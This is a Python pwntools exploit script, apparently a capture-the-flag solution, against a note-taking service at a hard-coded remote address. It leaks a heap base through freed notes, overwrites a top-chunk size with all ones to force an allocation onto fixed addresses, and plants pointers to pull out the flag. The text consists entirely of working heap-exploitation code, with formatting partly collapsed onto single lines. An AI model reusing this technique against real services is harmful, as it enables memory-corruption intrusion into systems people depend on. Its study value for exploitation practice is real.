```from pwn import *import timecontext.terminal=['tmux', 'splitw', '-h']context.log_level="debug"p = remote("51.15.73.163", 8888)
#p = process("./service.o")#gdb.attach(p)
def add_note(title, note, body=False, l=0x90-160):    p.sendline("1")    p.recvuntil("Enter note length> ")    p.sendline(str(l))    p.recvuntil("Enter title> ")    p.sendline(title)    p.recvuntil("Enter note body> ")    if body!=False:        p.sendline(note)    p.recvuntil def delete_note(index, shell=False):    p.sendline("2")    if shell==False:        p.recvuntil("Enter note index> ")        p.sendline(str(index))        p.recvuntil("> \n")    else:        p.interactive() def edit_note(index, title, body):    p.sendline("3")    p.recvuntil("Enter note index> ")    p.sendline(str(index))    p.recvuntil("Enter title> ")    p.sendline(title)    p.recvuntil("Enter note body> ")    p.sendline(body)    p.recvuntil("> \n") def print_note(index):    p.sendline("4")    p.recvuntil("Enter note index> ")    p.sendline(str(index))    d = p.recvuntil("> \n")    print d    return d def exit_prog():    p.sendline("5")
p.recv(1024)
add_note("A"*0x8f, "")add_note("B"*0x8f, "")add_note("C"*0x8f, "")add_note("D"*0x8f, "")add_note("E"*0x8f, "")add_note("F"*0x8f, "")delete_note(4)delete_note(2)delete_note(0)
heapbase = print_note(1)[0x9f:0xa3]log.info(heapbase.encode("hex"))heapbase = heapbase.replace("\n","\x00")log.info(heapbase.encode("hex"))heapbase = u32(heapbase + "\x00"*(4-len(heapbase)))-0x280
log.info("Heap base @: " + hex(heapbase))
delete_note(1)delete_note(3)delete_note(5)
payload = "A"*0x80 + \          p64(0) + \          p64(0xffffffffffffffff)
add_note(payload, "", l=0x80-160)
offset = 0xcafeb000+0x8*5 - 0x8*2 - (heapbase + 0xa0)add_note("B"*158,"", l = offset-160)add_note(p64(0xcafeb0e0)+p64(0xcafeb0c0)+p64(0xdeadb038) + p64(0xdeadb040) + "GIMMETHEFLAG" , "")p.sendline("6")p.recv(1024)print_note(4)```